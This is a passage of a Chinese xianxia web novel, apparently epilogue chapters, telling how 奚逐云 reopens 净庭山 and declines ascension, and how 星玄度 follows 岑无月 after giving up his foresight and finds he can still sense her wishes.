“唔。”岑无月说。 奚逐云着火似的抽回了手,动作之快几乎发出一声音爆:“怎么了?” 岑无月皱着眉细细体会半晌,深沉地分析:“你很焦虑很紧张,有些害怕忐忑……” ——好的、高兴的、积极的呢!? 随着岑无月的讲述,奚逐云都能感觉到自己的脸瞬间发烫,他难得强硬地抢走她手里小塔,起身快速道:“塔的设计果然还是太粗糙了,我再去改进一下!” 岑无月笑得打跌,而奚逐云一门心思夺路而逃,逃的一路上莫名其妙都很开心。 直到把自己重新关进房里,他看向掌中的小塔,方才后知后觉地意识到那“开心”是岑无月通过小塔传过来的。 …… 奚逐云面红耳赤地想:这样的传导实在太过亲密了,得改,必须得改。 一个人的快乐如果共享给另一个人,那必然是变成双倍、更多倍的快乐。 一个人的悲伤如果倾诉给另一个人,那也应当会变得更浅、逐渐消失。 奚逐云如此坚信。 —— 塔的可行性得到岑无月的认可后,奚逐云只剩一个决定要做:是否要打开净庭山。 不打开净庭山,他仍可以守着这座镜花水月; 打开净庭山,他便将净庭山人早已在紫霄州之变中尽数牺牲这个真相公开。 岑无月倒是不催他,她最近的乐趣是在钓鱼。 ……净庭山的鱼简直像是为她而生,直钩无饵也会来。 有时候,那些自由行动的魂偶还会主动靠近岑无月、与她交谈。 即便知道这些并非真人,岑无月仍然和他们一个个聊得高高兴兴。 说来也奇怪,魂偶们都很爱去找她。 若是他们还活着,或许也真会如此。 奚逐云安安静静地立了一刻钟,便见到岑无月身边围了四个魂偶、又在欢声笑语中钓上来三条鱼。 看着看着,奚逐云也笑了起来,心中豁然开朗。 紫霄州之变噩耗传来,他便被永远困在了那一天。 几十年光阴流逝,他也是时候从那日走出来。 —— 奚逐云广邀、净庭山再开。 这本身就已经是足够震撼的两个消息。 加上正值修真界动荡之时,又有岑无月本人在净庭山坐镇——虽说她不在邀请函内,但谁不知道她就住在净庭山——几乎所有能来的人都来了。 可以说这时候要是有人来净庭山把所有与会者都杀了,修真界将会青黄不接数百上千年。 …… 但是,谁又敢在飞升大能面前贸然动手呢。 就算这位飞升的大能笑眯眯的、看起来脾气再好,那也不行啊。 君不见之前自不量力去挑战她的都是什么下场? —— 圣山大会,修真界众人艰难地得出一个初步的执行方案。 随后,在奚逐云的坚持之下,又陆续纳入了凡人的意见。 而要将这一座座巨塔制作出来、插入各地的灵脉,磨合运行,又是近百年的时光。 这一过程中,也并非所有人都想着脚踏实地。 有岑无月逗留在此,便难免有人想要借用她的力量,简单快捷地一蹴而就。 不过反对的声音众多,也不止奚逐云一个,没有掀起什么风浪。 等一切尘埃落定后,奚逐云突然福至心灵:该离开了。 —— 岑无月飞升后的第一个十年,奚逐云忐忑,不知她何时会再度攀上接引梯。 岑无月飞升后的第二个十年,奚逐云更加不安,只因他已经习惯每日都能见到她的时光。 岑无月飞升后的第三个十年,奚逐云想尽办法寻找她与世间的牵绊。 …… 岑无月飞升后的第十个十年,奚逐云终于相信,自己也是她愿意逗留在此的理由之一。 当五光十色、绚烂不可言说的接引梯出现时,奚逐云只是用手指轻轻碰触,便果断地拒绝了它。 浮在一旁空中的岑无月问:“看都不看一眼啊?” “你还想留在下面玩的,不是吗?”奚逐云笑着向岑无月伸出手,“上面想必是个你觉得一点也不有趣的地方。” 岑无月把手给他,仍旧满眼好奇:“那个不重要啦——你也该发现了吧?” 奚逐云疑惑:“发现什么?” 岑无月低头看看自己。 奚逐云也跟着打量她,看着看着,他发觉有点不对劲:这人形好像也并非岑无月的原型。 “好了吗好了吗?”岑无月催促。 “……”奚逐云震撼中带着一些期待地开口,把岑无月曾经对他说的话还给她,“我也想看看你。” 第83章 星玄度(一) ——头晕目眩。 这就是星玄度第一次见到岑无月时的感受。 星玄度的能力纵然很霸道, 但经过长年练习,他已能将其控制得很好。 不在眼前的人、事、物,他便不会特地触发能力去感知。 但就在眼前、被他注意到了的, 却无法控制。 星玄度许诺奚逐云那个“人情”时, 双方都没有太放在心上。 星玄度不知道奚逐云未来会在什么时候索取这个人情, 说明彼时的未来尚没有定论。 许多年后, 收到奚逐云的来信说“请替带着我信物的人算一卦”时, 星玄度也并未意识到事情的严重性。 但在数日的翊麟城外, 笑眼弯弯的岑无月出现在星玄度面前时, 他被脑中瞬间浮现出的大量讯息砸了个天旋地转。 星玄度所能看见的,是“必定会发生的事”。 只要变数存在,结果便没有固定。 星玄度一眼便知道岑无月的起点是那座隐藏的秘境,也知道她目前计划的终点是在宋观止死后飞升。 ……可这中间关于“她准备如何做到这一切”的部分,却是一片混沌,无数的预知碎片打成一团、互不相让。 岑无月是个什么样的人? 她改变主意的速度比闪电还快, 好像一眨眼便能来回切换十个主意。 这么活生生的一个人站在星玄度面前, 他却几乎看不清她的选择。 能这样做的人,必定是危险人物。 星玄度几乎是第一个察觉到岑无月本性的人,但他沉默地守住这一事实,并未告诉任何人。 一来,他本来便能不说话就不说话;二来,他也有一些私心。 自出生开始便背上整个家族命运的星玄度总是羡慕着那些想做什么就去做什么的人。 可人只要活在世上,永远会有这般那般的不得已,因此几乎没有人能做得到这一点。 星玄度像是发现绿洲的沙漠旅人, 极度好奇地观察岑无月的一举一动, 又小心翼翼地与她保持距离。 但当岑无月主动找上门来的时候,星玄度就知道自己还是没躲过——岑无月是冲着他来的。 他只知道她要先杜绝他的能力, 可仍然不知道她会如何做。 等终于看不到她的未来时,他便知道她成功了。 再然后,星玄度心甘情愿破除了自己的舍缚。 …… 岑无月的所有目的,最终总是能达成。 因此那日灵墟失控爆发、谢还突然打碎一道先前无人知晓的高空屏障时,星玄度只是恍然:原来今天就是岑无月抵达预定终点的日子。 他在无一人发现的情况下悄然离开星家,抵达灵墟。 那里早已没有岑无月的踪影,只有善后的奚逐云和太上门弟子。 星玄度稍一思索,便有了下一个目的地。 破缚后,星玄度只是失去了未来继续进行预知的能力,而不是变成傻子。 从前预知过的事情,他都还记得。 比如说……岑无月的师门秘境入口位置。 岑无月或早或晚都一定会去那里的。 确信着如此的星玄度抵达秘境入口附近,一番寻找,果不其然没有发现任何异样。 他没有感应秘境的办法,但只要守在此,便总能等到或是进去、或是出来的岑无月。 世上恐怕没多少人能和星玄度比耐心。 他在附近找了个位置,入定调息,分出一丝神念注意周围的动静,准备长长久久地等下去。 —— 结果先等到的不是岑无月,而是从空气里突然走出来的曲燃。 两人面面相觑,剑拔弩张之间,溪涧好像都停止流动了。 曲燃一言不发地开始抽武器,丝毫没有问话的打算。 星玄度疑惑一瞬,才想起来:曲燃和岑无月是同门师兄妹这事儿,直到现在也都是秘密。 他向曲燃释放善意:“我都知道。” 四个字。 只是区区四个字,就让曲燃怒火中烧、原地跳脚:“你知道就你知道,了不起什么??我根本、一点、完全不羡慕!” 星玄度从没应对过如此暴躁的人,一时很是措手不及,甚至不知道曲燃为什么发火:“抱歉。” 曲燃怒目圆睁:“谁要你道歉了?!啊?让你‘都知道’的那个人都没想过要道歉!!” 星玄度明白了,他直白地说:“不是岑无月告诉我的。” “你骗鬼呢?!不是她自己说的,鬼能猜得到她脑子里在——”曲燃的声音半路卡在了喉咙里,他沉默数息,道,“星玄度?” “正是。”星玄度颔首。 曲燃理直气壮地为自己辩解:“你睁着眼睛的样子第一次见,没认出来。” 气氛松弛了些,但曲燃仍旧没有放下武器,而是警惕狐疑地打量着星玄度:“你在这儿干什么?” “等她。”星玄度平和地说。 曲燃的眼神更戒备了:“等她干什么?” 这个问题把星玄度问倒了。 他动身时,不过是兴之所至地生出想要见岑无月的念头罢了。 “或许只是贺喜?”星玄度不太确定地问。 “你人都在这儿了,你问我??” 曲燃的态度太咄咄逼人,星玄度于是又深入思考了一会儿,再答:“还想知道她未来有什么打算。她之后应当比较悠闲,若是可以的话,我想与她同行。” “……”曲燃索然无味地收起武器,“原来不是来报仇的。” 然后他就这么大摇大摆地走了。 无可无不可的插曲结束,星玄度再度进入等待状态。 不过只是片刻后,岑无月也从空气里出来了。 星玄度睁开眼时,岑无月早已熟门熟路在他背后编了一条细细的小辫。 “来找我?”岑无月笑问。 星玄度应了一声,回头去看她。 这还是星玄度第一次用自己的双眼而非神念去描摹她的模样,让他觉得自己这双眼睛在今日终于第一次派上了用场。 他盯着看了好一会儿,才发觉自己的失礼,克制地将脸转回去。 ——却在半路又被岑无月捧住、阻止了。 她笑眯眯地说:“让你看,随便看,能看多久就看多久。” 星玄度几乎是下意识将脸颊往她的掌心方向贴去,闭上眼,发出惬意的轻叹声。 岑无月微微俯身观察他此刻的表情,好奇道:“我以为你在破缚之后会变呢?” “有的。”星玄度轻声道。 换作以前,他不会放任自己与她肌肤相触这么久。 “我接下来要破碎虚空,”岑无月说起接下来的打算,“至于再之后嘛,我还没有想好。” “你会留在这里?”星玄度问,“谢还似乎在越过接引梯后就不再出现了。” “可以呀,谢还前两天还与我传讯说上面很无聊,准备下来玩呢。” “那太好了。”星玄度发自内心地感叹,“若是无聊的地方,想必你也不愿意停留。” 岑无月笑了:“想我留在这里?” 星玄度几乎是接着她的尾音脱口而出:“想。” 岑无月又问:“我有什么好处?” “……”星玄度有点为难,他思索片刻,仍旧选择像翊麟城那次一样,温顺地将一切的决定权交到岑无月手中,“我还有什么可以给你?” “和上次那样,你和我其实都得到了想要的东西?”岑无月露出苦恼的表情,“这样理想的情况可没那么常见。” 星玄度有些诧异,认真解释:“我已经得到了所有想要的东西,你只需要考虑你。” 岑无月的指腹落在他的眼角,语气揶揄:“不诚实。” 星玄度不解,但并不为自己辩解,而是诚恳请教:“为何这么说?” “你想要我因为你而觉得开心,”岑无月理直气壮地指指自己,弯着笑眼问他,“这难道不也是一种‘想要’?” 星玄度微微怔忡后,也跟着笑了起来:“你说得对,我想要这个——但你还是只需要考虑你。” 岑无月“哎”了一声,情不自禁地摸他的头:“好乖,好乖。” —— 星玄度以为接下来便是近距离观看破碎虚空现场,再不济也是精挑细选一处风水宝地用来挑战飞升,谁知道先被岑无月拉着进了一趟她的师门秘境。 “什么?飞升失败吗?这么快??”里头的残魂慌慌张张地飘过来,一眼瞟到星玄度,立刻瞪大眼睛,“——我去,白毛!” 岑无月向星玄度介绍:“我师父说她家那边人均白毛控,所以我想还是让她在离开之前亲眼见识一下真的白毛。” 星玄度第一次听“白毛控”这个词。 但向思雨的表现让他立刻就理解了这个词的意思。 “嚯,”向思雨飘得很不稳,语气有种异样的亢奋,“虽然是个三无,但居然扎小辫,反差好啊,反差好!” 岑无月看了一眼,老实道:“师父,那都是我编的。” “……”向思雨干咳一声,尴尬地转移话题,“眼睛的颜色也是天生的吗?难道是什么血继限界?” 岑无月认真思考,恍然大悟:“可能有关系诶!” 星玄度觉得应当没有关系,不过他只是很乖地站着听这对师父叭叭。 向思雨:“太酷啦!” 岑无月:“但是他已经失去血继限界了。” 向思雨:“……美强惨啊!!” 岑无月:“虽然也是我弄的。” 向思雨捂住脸,向星玄度鞠躬道歉:“对不起,我这个人……不是,我这个鬼不太擅长教徒弟。” 星玄度侧身避开不受,只道:“您教得很好。” 向思雨挪开手时,脸上的表情很精彩。 她向左看看一脸无辜的岑无月,又往右看看一本正经的星玄度,最后幽幽地飘走,嘴里似乎还喃喃地念叨着“什么锅配什么盖”“古代PUA大师”“斯德哥尔摩”。【你现在阅读的是 】 【全文完结】 第84章 星玄度(二) 星玄度的预知能力是天生的, 舍缚只是在其基础上又进行了加强。 但众所周知,舍缚若能带来五分助力,破缚的代价就会是十分。 星玄度一直确信在自己睁开眼后, 就不再拥有那项人人艳羡、但他其实并不是很想要的能力。 因为在那之后, 无论他看向何人何物, 都不会看见预知的画面。 ……但现在他不太确定了。 这与生俱来的天赋似乎还残留了一点点在他体内。 以非常微妙的方式。 —— 事情还要说回几日前, 星家发现星玄度失踪, 很是慌乱了一场, 以为他是被人掳走。 星玄度和岑无月离开秘境、走到有人烟的地方时才听说这事儿。 “要回去吗?”岑无月歪头问他。 “不必, ”星玄度短暂思量便下了决定,“与你同行,我的消息应该很快就会被传出去。” 他对星家的感情仍然复杂。 但“岑无月的重要性排在星家之前”这件事是他十几年前就已经决定好的。 “可能会以为是我把你抢走的诶。”岑无月天马行空地猜想,“我有成为新一代魔修、被众人围攻的潜质了!哈,区区曲燃算什么。” “不会有人想将你逼去做魔修的,”星玄度合理地推测下去, “当今修真界, 还有谁能抗衡你?” 修真界强者为尊,恐怕人人都翘首期盼岑无月指缝里能掉些十五年内就飞升的经验福泽下来,捧着她还来不及。 说句不好听的,哪怕这会儿岑无月真开始干魔修做的那些恶事,也多的是人绞尽脑汁为她辩解洗白。 听完星玄度的话,岑无月摸着下巴想了一会儿,转过脸来笑嘻嘻地说:“那岂不是更大魔头了?” 两人说说笑笑地走着,星玄度的注意力突然被摊上琳琅满目甜食中的一盒酥糖吸引。 他下意识地向它伸出手去的同时, 岑无月几乎是前后脚地开口:“老板, 给我一盒酥糖~” 星玄度疑惑一瞬,没有多想, 顺手将酥糖递给岑无月,得到后者甜甜的道谢。 —— 不过很快,星玄度就明白这并不是巧合。 比如岑无月只是突然若有所思地“嗯……”一声,他便福至心灵地问:“辣烧鱼尾?” 这道菜,星玄度甚至没有亲眼见过。 菜名却直接跳到他舌尖。 岑无月自然也立刻发现异样,双手托着下巴,笑眯眯地问:“哪来的新招式?” “不知道,”星玄度很乖地全盘交代,“答案会突然出现在我脑中。” 岑无月兴致勃勃地开始提问:“猜猜明天是什么天气?” “……我不知道。” “星家的人是不是马上要到了?” “应当不会来,”星玄度试图理智分析,“目前的星家聚起来也不会是你的对手。” 岑无月听他分析完,得出结论:“所以你不知道。” “……是。” “那猜猜下一个主动来找你我的人,是熟人还是陌生人?” “我不知道。” …… 一番测试下来,结果是其实星玄度啥也不知道。 他只是似乎可以模糊地感知到岑无月的少许想法。 当然了,有过从前的经历,星玄度知道自己也无法窥探岑无月的全部想法。 那冲击度和伤害力,和把一个凡人扔进灵脉深处没什么两样。 但这缥缈浅薄的些许残留感应,却让星玄度非常满足。 —— 作为星玄度好友的封不眠在听说他失踪后吓了一大跳,马不停蹄地给星玄度传讯数次,但一直联系不上人。 封不眠还真以为星玄度遭遇了什么不测,干脆动用翊麟城的力量进行查探。 一开始什么消息也没有。 直到某天,秦鲤一脸无语地来告诉他“查到了”。 封不眠接过一看,也无语了。 “——你怎么跟个闻到骨头就跟着跑的小狗一样啊!”封不眠拍着桌子长吁短叹,“你走就走了,不通知星家的人倒也无所谓,至少可以通知一下我——不对,至少可以理一下我的传讯吧?!” “我没想到要那么久,”星玄度抱歉但很认真地说,“所以没带传讯工具。” “好好好,你出息了,出门都不带传讯工具了!”封不眠超级大声地指责,“你还记得带个啥!” 星玄度开始思考。 封不眠捂住额头:“不用回忆了,不是真的在问你。” …… 等封不眠情绪稍缓,两人终于能开始正常聊天。 说着说着,星玄度突然若有所思地说:“荔枝冰酪。” “……啥?” …… 听说星玄度的能力突然有复苏的苗头,封不眠兴奋不已! 听明白这苗头只对岑无月生效,封不眠心如止水。 “可能只是你太在意她想要什么所产生的错觉吧。”封不眠心灰意冷地说,“想也是,你都主动破缚了,怎么可能还会恢复。” 星玄度疑惑地重复:“她想要……?” “不是吗?”封不眠更疑惑,“我听你们测试的那些里,你也不是什么关于她的事情都能有‘感应’,你只会突然知道她这一刻想要什么——不是我说,兄弟,你这有点陷得太深失去自我了哈。” “你不明白。”星玄度说。 封不眠沉重地点头:“对,我不明白——或许因为我终究是个封家人吧。” 哪怕有秦鲤存在,他也还是不明白。 “——倒让我想起来,”岑无月的声音突然加入对话,“你姑母似乎就是这么想你的。” 猝不及防之下被人近到身边,封不眠一个激灵,差点拔了武器。 他镇定下来侧头看去,发现岑无月手中正捧着一碗吃了一半的东西——八成就是荔枝冰酪。 封不眠尽力让自己无视它,问:“什么意思,姑母怎么想我?” “觉得秦鲤终归还是会死在你手中的,”岑无月笑道,“无论是以直接还是间接的方式。” 封不眠沉默了下来。 他知道自己和星玄度其实是相当不同的人:一个外热内冷,一个外冷内热。 因此,他也知道自己永远不会理解星玄度的选择。 或许一开始可以。 但在隐约知道星玄度为何破缚之后,封不眠想都不敢想。 换成是他,别说心甘情愿破缚,恐怕早就想尽办法跑路,逃到一个岑无月找不到的地方去。 ……话又说回来了,岑无月可是位准飞升修士,新一代的绝世天才。 从横空出世到即将飞升,满打满算都没有十五年,谁敢比,谁敢想啊? 虽说有风闻她说过自己“二三百吧”,但即便岑无月从不说假话,这话这语气那也听不出是不是开玩笑。 众人所能看到的,只有她十余年前以弱者之姿下山的那一开端。 ……总之,岑无月要找人、杀人,恐怕比吃饭还简单。 封不眠乱七八糟地在脑子里想了半天,情绪平复下来,看岑无月也没那么吓人了。 快飞升的岑无月,和闭关前的岑无月,和第一次到翊麟城时的岑无月,其实也没什么差别。 ………… 至少,外表上没什么差别。 换不知情的无论谁来看,都只会觉得“此人实在心机太浅,恐被歹人算计”。 是的,这是封不眠亲耳听到的评价。 别人敢说他都不敢听,一堆在场的人还纷纷赞同。 岑无月真是骗了全天下。 封不眠都不敢想那天那么大的事——太上无相真君死了,谢还飞升了,灵墟被毁了,所有灵脉都变样了,翊麟城天上咣咣老大声响跟开门似的——难道会和明明是当事人的岑无月一点关系没有? 但他硬是闭上眼睛堵上耳朵假装自己什么也没注意到。 毕竟这世上的事,你知道得越多,死得就越快。 ……但是话又要再说回来了,知道最多的两个人就在旁边呢。 封不眠歪着身子,打量岑无月几眼,又打量星玄度,最后无奈摇头:“知道玄度没事就好,我也该赶回翊麟城了,城主急招。” “这么急,出什么事了吗?”星玄度微讶。 其实听本该知晓一切的星玄度问“出什么事了”应该是件挺好玩的事情,但封不眠还没说话呢,余光就瞥见岑无月脸上已经是了然的笑容,顿时一阵头皮发麻。 ——她又知道了!我还什么都没说!她又全都知道了!不对,我自己都还什么都不知道呢!! “……还不知道,”封不眠硬着头皮随口应答,一边答着,一边已翻身出窗,“总之,记得赶紧把传讯工具弄来!我先走了!!” 岑无月探出身子向落荒而逃的封不眠扬声道:“帮我跟秦鲤道一声谢哦~” 封不眠掏出飞行法宝,连滚带爬地以最快速度飞离现场:“我不想知道!我什么都不想知道!!” …… “——看来翊麟城的事真的很急。”星玄度下了判断。 岑无月不置可否,玩味地说:“是不是呢。” 星玄度看向她手中那碗荔枝冰酪,嘴角稍弯,不自觉地笑了:“刚才他说,我并不是能知道与你有关的事,而是能察觉你想要什么,似乎说得很对。” “听起来更没什么用了,”岑无月如此评价,又问,“但你很喜欢?” 星玄度没有羞赧,平静地应了:“喜欢。” 岑无月眨眨眼,又奖励地摸摸他的头发,夸奖:“好乖,好乖。” 星玄度乖乖地被摸完,轻轻握住岑无月欲收回的手腕,道:“从前你想要的都是沉重、庞大、遥远之物,我那时只窥见一角便心惊肉跳,尽管明知你会成功,却忍不住担忧。而如今,你想要的都是平平无奇之物,它们却能让你很高兴。” 说到这里,星玄度抬眼去看岑无月的表情,果不其然见到她只是笑眯眯地看着他,示意地扬了一下眉。 她“想要”他把最后一句话也说出来。 星玄度便顺从地说下去:“——所以,它们也让我觉得很高兴。” 他的指腹贴着岑无月腕间的脉络,光是这样已经足够让他心满意足。 星玄度觉得自己是很容易被满足的人。 封不眠说他去找岑无月像是闻到骨头味道的小狗。 无论封不眠是有心还是无意,这比喻都没有说错。 因为岑无月确实是几百年来唯一一个将“自由”这根星玄度馋了几百年的骨头扔给他的人。 星玄度根本不在意岑无月做了什么、要做什么。 但凡需要,她可以拿走他的眼睛,或者别的部分。 只要他对她还有价值,只要她觉得高兴,那就是好的。 …… 被握着手腕的岑无月露出一个被触动的表情。 熟能生巧,星玄度都准备好迎接脑海中突然出现的菜名了。 结果感应到的却是自己的名字。 星玄度花了一会儿才反应过来,但仍是不太确定地抬眼去看岑无月,不知道感应是不是出错了。 而岑无月双手合十,用最诚恳、最无辜的语气问他:“这个也可以吃到吗?” “……你想要的,都无不可。”【你现在阅读的是 】